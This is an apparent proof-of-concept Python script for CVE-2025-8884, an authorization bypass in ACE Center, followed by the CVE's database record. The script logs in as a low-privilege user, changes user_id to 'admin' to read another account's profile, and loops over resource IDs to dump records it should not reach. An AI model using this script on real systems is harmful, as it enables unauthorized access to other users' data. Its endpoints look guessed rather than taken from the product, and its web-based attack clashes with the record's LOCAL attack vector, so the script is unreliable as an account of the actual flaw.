CVE-2025-8884

# CVE-2025-8884 - ACE Center Authorization Bypass PoC # Vulnerability: Authorization Bypass Through User-Controlled Key (CWE-639) # Affected: ACE Center 3.10.100.1768 - before 3.10.161.2255 import requests # Target configuration TARGET_URL = "https://target-ace-center.example.com" LOW_PRIV_SESSION = requests.Session() # Step 1: Authenticate as a low-privilege user login_url = f"{TARGET_URL}/api/auth/login" credentials = { "username": "low_priv_user", "password": "user_password" } response = LOW_PRIV_SESSION.post(login_url, json=credentials) print(f"[*] Login response: {response.status_code}") # Step 2: Identify the user-controlled key parameter # The vulnerability allows manipulating authorization-related identifiers # such as user_id, resource_id, or object_id in requests # Step 3: Attempt authorization bypass by manipulating user-controlled keys # Example: Access another user's resources by changing the user_id parameter bypass_url = f"{TARGET_URL}/api/users/profile" # Normal request (legitimate access) normal_response = LOW_PRIV_SESSION.get(f"{bypass_url}?user_id=low_priv_user") print(f"[*] Normal access: {normal_response.status_code}") # Bypass attempt: manipulate the user-controlled key to access admin data bypass_response = LOW_PRIV_SESSION.get(f"{bypass_url}?user_id=admin") print(f"[*] Bypass attempt (admin): {bypass_response.status_code}") # Step 4: Enumerate sensitive resources # Try accessing various resource IDs that should be restricted for resource_id in range(1, 100): resp = LOW_PRIV_SESSION.get(f"{TARGET_URL}/api/resources/{resource_id}") if resp.status_code == 200: print(f"[+] Unauthorized access to resource {resource_id}: {resp.json()}") print("[*] PoC execution completed")

{"cve": {"id": "CVE-2025-8884", "sourceIdentifier": "[email protected]", "published": "2025-10-20T15:15:34.043", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in VHS Electronic Software Ltd. Co. ACE Center allows Privilege Abuse, Exploitation of Trusted Identifiers.This issue affects ACE Center: from 3.10.100.1768 before 3.10.161.2255."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0348", "source": "[email protected]"}]}}